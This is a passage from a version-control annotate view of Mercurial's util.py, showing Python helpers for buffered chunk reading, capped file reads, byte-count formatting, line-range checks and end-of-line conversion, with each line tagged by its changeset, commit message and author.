Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
  2245
                # self._chunkoffset remains at 0.
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
  2246
                continue
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
  2247
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
  2248
            chunkremaining = chunkl - offset
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
  2249
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
  2250
            # Use all of unconsumed part of chunk.
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
  2251
            if left >= chunkremaining:
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
  2252
                left -= chunkremaining
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
  2253
                queue.popleft()
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
  2254
                # offset == 0 is enabled by block above, so this won't merely
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
  2255
                # copy via ``chunk[0:]``.
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
  2256
                buf.append(chunk[offset:])
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
  2257
                self._chunkoffset = 0
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
  2258
26479
46143f31290e util.chunkbuffer: refactor chunk handling logic
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26478
diff changeset
  2259
            # Partial chunk needed.
46143f31290e util.chunkbuffer: refactor chunk handling logic
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26478
diff changeset
  2260
            else:
26480
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
  2261
                buf.append(chunk[offset:offset + left])
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
  2262
                self._chunkoffset += left
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
  2263
                left -= chunkremaining
11758
a79214972da2 chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents: 11469
diff changeset
  2264
17962
4c29668ca316 util: make chunkbuffer non-quadratic on Windows
Matt Mackall <mpm@selenic.com>
parents: 17560
diff changeset
  2265
        return ''.join(buf)
11758
a79214972da2 chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents: 11469
diff changeset
  2266
30181
7356e6b1f5b8 util: increase filechunkiter size to 128k
Mads Kiilerich <madski@unity3d.com>
parents: 30087
diff changeset
  2267
def filechunkiter(f, size=131072, limit=None):
2462
d610bcfd66a8 util: add limit to amount filechunkiter will read
Vadim Gelfer <vadim.gelfer@gmail.com>
parents: 2448
diff changeset
  2268
    """Create a generator that produces the data in the file size
30181
7356e6b1f5b8 util: increase filechunkiter size to 128k
Mads Kiilerich <madski@unity3d.com>
parents: 30087
diff changeset
  2269
    (default 131072) bytes at a time, up to optional limit (default is
2462
d610bcfd66a8 util: add limit to amount filechunkiter will read
Vadim Gelfer <vadim.gelfer@gmail.com>
parents: 2448
diff changeset
  2270
    to read all data).  Chunks may be less than size bytes if the
d610bcfd66a8 util: add limit to amount filechunkiter will read
Vadim Gelfer <vadim.gelfer@gmail.com>
parents: 2448
diff changeset
  2271
    chunk is the last chunk in the file, or the file is a socket or
d610bcfd66a8 util: add limit to amount filechunkiter will read
Vadim Gelfer <vadim.gelfer@gmail.com>
parents: 2448
diff changeset
  2272
    some other type of file that sometimes reads less data than is
d610bcfd66a8 util: add limit to amount filechunkiter will read
Vadim Gelfer <vadim.gelfer@gmail.com>
parents: 2448
diff changeset
  2273
    requested."""
d610bcfd66a8 util: add limit to amount filechunkiter will read
Vadim Gelfer <vadim.gelfer@gmail.com>
parents: 2448
diff changeset
  2274
    assert size >= 0
d610bcfd66a8 util: add limit to amount filechunkiter will read
Vadim Gelfer <vadim.gelfer@gmail.com>
parents: 2448
diff changeset
  2275
    assert limit is None or limit >= 0
d610bcfd66a8 util: add limit to amount filechunkiter will read
Vadim Gelfer <vadim.gelfer@gmail.com>
parents: 2448
diff changeset
  2276
    while True:
10282
08a0f04b56bd many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents: 10264
diff changeset
  2277
        if limit is None:
08a0f04b56bd many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents: 10264
diff changeset
  2278
            nbytes = size
08a0f04b56bd many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents: 10264
diff changeset
  2279
        else:
08a0f04b56bd many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents: 10264
diff changeset
  2280
            nbytes = min(limit, size)
2462
d610bcfd66a8 util: add limit to amount filechunkiter will read
Vadim Gelfer <vadim.gelfer@gmail.com>
parents: 2448
diff changeset
  2281
        s = nbytes and f.read(nbytes)
10282
08a0f04b56bd many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents: 10264
diff changeset
  2282
        if not s:
08a0f04b56bd many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents: 10264
diff changeset
  2283
            break
08a0f04b56bd many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents: 10264
diff changeset
  2284
        if limit:
08a0f04b56bd many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents: 10264
diff changeset
  2285
            limit -= len(s)
1199
78ceaf83f28f Created a class in util called chunkbuffer that buffers reads from an
Eric Hopper <hopper@omnifarious.org>
parents: 1169
diff changeset
  2286
        yield s
1320
5f277e73778f Fix up representation of dates in hgweb.
Bryan O'Sullivan <bos@serpentine.com>
parents: 1312
diff changeset
  2287
36395
01e29e885600 util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36299
diff changeset
  2288
class cappedreader(object):
01e29e885600 util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36299
diff changeset
  2289
    """A file object proxy that allows reading up to N bytes.
01e29e885600 util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36299
diff changeset
  2290
01e29e885600 util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36299
diff changeset
  2291
    Given a source file object, instances of this type allow reading up to
01e29e885600 util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36299
diff changeset
  2292
    N bytes from that source file object. Attempts to read past the allowed
01e29e885600 util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36299
diff changeset
  2293
    limit are treated as EOF.
01e29e885600 util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36299
diff changeset
  2294
01e29e885600 util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36299
diff changeset
  2295
    It is assumed that I/O is not performed on the original file object
01e29e885600 util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36299
diff changeset
  2296
    in addition to I/O that is performed by this instance. If there is,
01e29e885600 util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36299
diff changeset
  2297
    state tracking will get out of sync and unexpected results will ensue.
01e29e885600 util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36299
diff changeset
  2298
    """
01e29e885600 util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36299
diff changeset
  2299
    def __init__(self, fh, limit):
01e29e885600 util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36299
diff changeset
  2300
        """Allow reading up to <limit> bytes from <fh>."""
01e29e885600 util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36299
diff changeset
  2301
        self._fh = fh
01e29e885600 util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36299
diff changeset
  2302
        self._left = limit
01e29e885600 util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36299
diff changeset
  2303
01e29e885600 util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36299
diff changeset
  2304
    def read(self, n=-1):
01e29e885600 util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36299
diff changeset
  2305
        if not self._left:
01e29e885600 util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36299
diff changeset
  2306
            return b''
01e29e885600 util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36299
diff changeset
  2307
01e29e885600 util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36299
diff changeset
  2308
        if n < 0:
01e29e885600 util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36299
diff changeset
  2309
            n = self._left
01e29e885600 util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36299
diff changeset
  2310
01e29e885600 util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36299
diff changeset
  2311
        data = self._fh.read(min(n, self._left))
01e29e885600 util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36299
diff changeset
  2312
        self._left -= len(data)
01e29e885600 util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36299
diff changeset
  2313
        assert self._left >= 0
01e29e885600 util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36299
diff changeset
  2314
01e29e885600 util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36299
diff changeset
  2315
        return data
01e29e885600 util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36299
diff changeset
  2316
37055
8c3c47362934 wireproto: implement basic frame reading and processing
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37047
diff changeset
  2317
    def readinto(self, b):
8c3c47362934 wireproto: implement basic frame reading and processing
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37047
diff changeset
  2318
        res = self.read(len(b))
8c3c47362934 wireproto: implement basic frame reading and processing
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37047
diff changeset
  2319
        if res is None:
8c3c47362934 wireproto: implement basic frame reading and processing
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37047
diff changeset
  2320
            return None
8c3c47362934 wireproto: implement basic frame reading and processing
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37047
diff changeset
  2321
8c3c47362934 wireproto: implement basic frame reading and processing
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37047
diff changeset
  2322
        b[0:len(res)] = res
8c3c47362934 wireproto: implement basic frame reading and processing
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37047
diff changeset
  2323
        return len(res)
8c3c47362934 wireproto: implement basic frame reading and processing
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37047
diff changeset
  2324
18735
716cad930691 util: generalize bytecount to unitcountfn
Bryan O'Sullivan <bryano@fb.com>
parents: 18678
diff changeset
  2325
def unitcountfn(*unittable):
716cad930691 util: generalize bytecount to unitcountfn
Bryan O'Sullivan <bryano@fb.com>
parents: 18678
diff changeset
  2326
    '''return a function that renders a readable count of some quantity'''
716cad930691 util: generalize bytecount to unitcountfn
Bryan O'Sullivan <bryano@fb.com>
parents: 18678
diff changeset
  2327
716cad930691 util: generalize bytecount to unitcountfn
Bryan O'Sullivan <bryano@fb.com>
parents: 18678
diff changeset
  2328
    def go(count):
716cad930691 util: generalize bytecount to unitcountfn
Bryan O'Sullivan <bryano@fb.com>
parents: 18678
diff changeset
  2329
        for multiplier, divisor, format in unittable:
31946
f3b80537a70d util: fix human-readable printing of negative byte counts
Gábor Stefanik <gabor.stefanik@nng.com>
parents: 31934
diff changeset
  2330
            if abs(count) >= divisor * multiplier:
18735
716cad930691 util: generalize bytecount to unitcountfn
Bryan O'Sullivan <bryano@fb.com>
parents: 18678
diff changeset
  2331
                return format % (count / float(divisor))
716cad930691 util: generalize bytecount to unitcountfn
Bryan O'Sullivan <bryano@fb.com>
parents: 18678
diff changeset
  2332
        return unittable[-1][2] % count
716cad930691 util: generalize bytecount to unitcountfn
Bryan O'Sullivan <bryano@fb.com>
parents: 18678
diff changeset
  2333
716cad930691 util: generalize bytecount to unitcountfn
Bryan O'Sullivan <bryano@fb.com>
parents: 18678
diff changeset
  2334
    return go
716cad930691 util: generalize bytecount to unitcountfn
Bryan O'Sullivan <bryano@fb.com>
parents: 18678
diff changeset
  2335
31667
080734cd2440 revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents: 31603
diff changeset
  2336
def processlinerange(fromline, toline):
080734cd2440 revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents: 31603
diff changeset
  2337
    """Check that linerange <fromline>:<toline> makes sense and return a
080734cd2440 revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents: 31603
diff changeset
  2338
    0-based range.
080734cd2440 revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents: 31603
diff changeset
  2339
080734cd2440 revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents: 31603
diff changeset
  2340
    >>> processlinerange(10, 20)
080734cd2440 revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents: 31603
diff changeset
  2341
    (9, 20)
080734cd2440 revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents: 31603
diff changeset
  2342
    >>> processlinerange(2, 1)
080734cd2440 revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents: 31603
diff changeset
  2343
    Traceback (most recent call last):
080734cd2440 revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents: 31603
diff changeset
  2344
        ...
080734cd2440 revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents: 31603
diff changeset
  2345
    ParseError: line range must be positive
080734cd2440 revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents: 31603
diff changeset
  2346
    >>> processlinerange(0, 5)
080734cd2440 revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents: 31603
diff changeset
  2347
    Traceback (most recent call last):
080734cd2440 revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents: 31603
diff changeset
  2348
        ...
080734cd2440 revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents: 31603
diff changeset
  2349
    ParseError: fromline must be strictly positive
080734cd2440 revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents: 31603
diff changeset
  2350
    """
080734cd2440 revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents: 31603
diff changeset
  2351
    if toline - fromline < 0:
080734cd2440 revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents: 31603
diff changeset
  2352
        raise error.ParseError(_("line range must be positive"))
080734cd2440 revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents: 31603
diff changeset
  2353
    if fromline < 1:
080734cd2440 revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents: 31603
diff changeset
  2354
        raise error.ParseError(_("fromline must be strictly positive"))
080734cd2440 revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents: 31603
diff changeset
  2355
    return fromline - 1, toline
080734cd2440 revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents: 31603
diff changeset
  2356
18735
716cad930691 util: generalize bytecount to unitcountfn
Bryan O'Sullivan <bryano@fb.com>
parents: 18678
diff changeset
  2357
bytecount = unitcountfn(
16397
f0f7f3fab315 util: create bytecount array just once
Matt Mackall <mpm@selenic.com>
parents: 16383
diff changeset
  2358
    (100, 1 << 30, _('%.0f GB')),
f0f7f3fab315 util: create bytecount array just once
Matt Mackall <mpm@selenic.com>
parents: 16383
diff changeset
  2359
    (10, 1 << 30, _('%.1f GB')),
f0f7f3fab315 util: create bytecount array just once
Matt Mackall <mpm@selenic.com>
parents: 16383
diff changeset
  2360
    (1, 1 << 30, _('%.2f GB')),
f0f7f3fab315 util: create bytecount array just once
Matt Mackall <mpm@selenic.com>
parents: 16383
diff changeset
  2361
    (100, 1 << 20, _('%.0f MB')),
f0f7f3fab315 util: create bytecount array just once
Matt Mackall <mpm@selenic.com>
parents: 16383
diff changeset
  2362
    (10, 1 << 20, _('%.1f MB')),
f0f7f3fab315 util: create bytecount array just once
Matt Mackall <mpm@selenic.com>
parents: 16383
diff changeset
  2363
    (1, 1 << 20, _('%.2f MB')),
f0f7f3fab315 util: create bytecount array just once
Matt Mackall <mpm@selenic.com>
parents: 16383
diff changeset
  2364
    (100, 1 << 10, _('%.0f KB')),
f0f7f3fab315 util: create bytecount array just once
Matt Mackall <mpm@selenic.com>
parents: 16383
diff changeset
  2365
    (10, 1 << 10, _('%.1f KB')),
f0f7f3fab315 util: create bytecount array just once
Matt Mackall <mpm@selenic.com>
parents: 16383
diff changeset
  2366
    (1, 1 << 10, _('%.2f KB')),
f0f7f3fab315 util: create bytecount array just once
Matt Mackall <mpm@selenic.com>
parents: 16383
diff changeset
  2367
    (1, 1, _('%.0f bytes')),
f0f7f3fab315 util: create bytecount array just once
Matt Mackall <mpm@selenic.com>
parents: 16383
diff changeset
  2368
    )
f0f7f3fab315 util: create bytecount array just once
Matt Mackall <mpm@selenic.com>
parents: 16383
diff changeset
  2369
36845
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents: 36843
diff changeset
  2370
class transformingwriter(object):
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents: 36843
diff changeset
  2371
    """Writable file wrapper to transform data by function"""
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents: 36843
diff changeset
  2372
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents: 36843
diff changeset
  2373
    def __init__(self, fp, encode):
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents: 36843
diff changeset
  2374
        self._fp = fp
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents: 36843
diff changeset
  2375
        self._encode = encode
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents: 36843
diff changeset
  2376
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents: 36843
diff changeset
  2377
    def close(self):
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents: 36843
diff changeset
  2378
        self._fp.close()
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents: 36843
diff changeset
  2379
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents: 36843
diff changeset
  2380
    def flush(self):
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents: 36843
diff changeset
  2381
        self._fp.flush()
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents: 36843
diff changeset
  2382
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents: 36843
diff changeset
  2383
    def write(self, data):
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents: 36843
diff changeset
  2384
        return self._fp.write(self._encode(data))
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents: 36843
diff changeset
  2385
31779
fe9b33bcec6a util: extract pure tolf/tocrlf() functions from eol extension
Yuya Nishihara <yuya@tcha.org>
parents: 31725
diff changeset
  2386
# Matches a single EOL which can either be a CRLF where repeated CR
fe9b33bcec6a util: extract pure tolf/tocrlf() functions from eol extension
Yuya Nishihara <yuya@tcha.org>
parents: 31725
diff changeset
  2387
# are removed or a LF. We do not care about old Macintosh files, so a
fe9b33bcec6a util: extract pure tolf/tocrlf() functions from eol extension
Yuya Nishihara <yuya@tcha.org>
parents: 31725
diff changeset
  2388
# stray CR is an error.
fe9b33bcec6a util: extract pure tolf/tocrlf() functions from eol extension
Yuya Nishihara <yuya@tcha.org>
parents: 31725
diff changeset
  2389
_eolre = remod.compile(br'\r*\n')
fe9b33bcec6a util: extract pure tolf/tocrlf() functions from eol extension
Yuya Nishihara <yuya@tcha.org>
parents: 31725
diff changeset
  2390
fe9b33bcec6a util: extract pure tolf/tocrlf() functions from eol extension
Yuya Nishihara <yuya@tcha.org>
parents: 31725
diff changeset
  2391
def tolf(s):
fe9b33bcec6a util: extract pure tolf/tocrlf() functions from eol extension
Yuya Nishihara <yuya@tcha.org>
parents: 31725
diff changeset
  2392
    return _eolre.sub('\n', s)
fe9b33bcec6a util: extract pure tolf/tocrlf() functions from eol extension
Yuya Nishihara <yuya@tcha.org>
parents: 31725
diff changeset
  2393
fe9b33bcec6a util: extract pure tolf/tocrlf() functions from eol extension
Yuya Nishihara <yuya@tcha.org>
parents: 31725
diff changeset
  2394
def tocrlf(s):
fe9b33bcec6a util: extract pure tolf/tocrlf() functions from eol extension
Yuya Nishihara <yuya@tcha.org>
parents: 31725
diff changeset
  2395
    return _eolre.sub('\r\n', s)
fe9b33bcec6a util: extract pure tolf/tocrlf() functions from eol extension
Yuya Nishihara <yuya@tcha.org>
parents: 31725
diff changeset
  2396
36845
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents: 36843
diff changeset
  2397
def _crlfwriter(fp):
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents: 36843
diff changeset
  2398
    return transformingwriter(fp, tocrlf)
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents: 36843
diff changeset
  2399
31780
6a5b69b0abec util: add helper to convert between LF and native EOL
Yuya Nishihara <yuya@tcha.org>
parents: 31779
diff changeset
  2400
if pycompat.oslinesep == '\r\n':
6a5b69b0abec util: add helper to convert between LF and native EOL
Yuya Nishihara <yuya@tcha.org>
parents: 31779
diff changeset
  2401
    tonativeeol = tocrlf
6a5b69b0abec util: add helper to convert between LF and native EOL
Yuya Nishihara <yuya@tcha.org>
parents: 31779
diff changeset
  2402
    fromnativeeol = tolf
36845
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents: 36843
diff changeset
  2403
    nativeeolwriter = _crlfwriter
31780
6a5b69b0abec util: add helper to convert between LF and native EOL
Yuya Nishihara <yuya@tcha.org>
parents: 31779
diff changeset
  2404
else:
6a5b69b0abec util: add helper to convert between LF and native EOL
Yuya Nishihara <yuya@tcha.org>
parents: 31779
diff changeset
  2405
    tonativeeol = pycompat.identity
6a5b69b0abec util: add helper to convert between LF and native EOL
Yuya Nishihara <yuya@tcha.org>
parents: 31779
diff changeset
  2406
    fromnativeeol = pycompat.identity
36845
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents: 36843
diff changeset
  2407
    nativeeolwriter = pycompat.identity
31780
6a5b69b0abec util: add helper to convert between LF and native EOL
Yuya Nishihara <yuya@tcha.org>
parents: 31779
diff changeset
  2408
30428
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
  2409
if (pyplatform.python_implementation() == 'CPython' and
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
  2410
    sys.version_info < (3, 0)):
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
  2411
    # There is an issue in CPython that some IO methods do not handle EINTR
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
  2412
    # correctly. The following table shows what CPython version (and functions)
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
  2413
    # are affected (buggy: has the EINTR bug, okay: otherwise):
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
  2414
    #
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
  2415
    #                | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
  2416
    #   --------------------------------------------------
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
  2417
    #    fp.__iter__ | buggy   | buggy           | okay
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
  2418
    #    fp.read*    | buggy   | okay [1]        | okay
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
  2419
    #
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
  2420
    # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo.
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
  2421
    #
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
  2422
    # Here we workaround the EINTR issue for fileobj.__iter__. Other methods
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
  2423
    # like "read*" are ignored for now, as Python < 2.7.4 is a minority.
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
  2424
    #
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
  2425
    # Although we can workaround the EINTR issue for fp.__iter__, it is slower:
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
  2426
    # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
  2427
    # CPython 2, because CPython 2 maintains an internal readahead buffer for
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
  2428
    # fp.__iter__ but not other fp.read* methods.
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
  2429
    #
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
  2430
    # On modern systems like Linux, the "read" syscall cannot be interrupted
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
  2431
    # when reading "fast" files like on-disk files. So the EINTR issue only
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
  2432
    # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG)
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
  2433
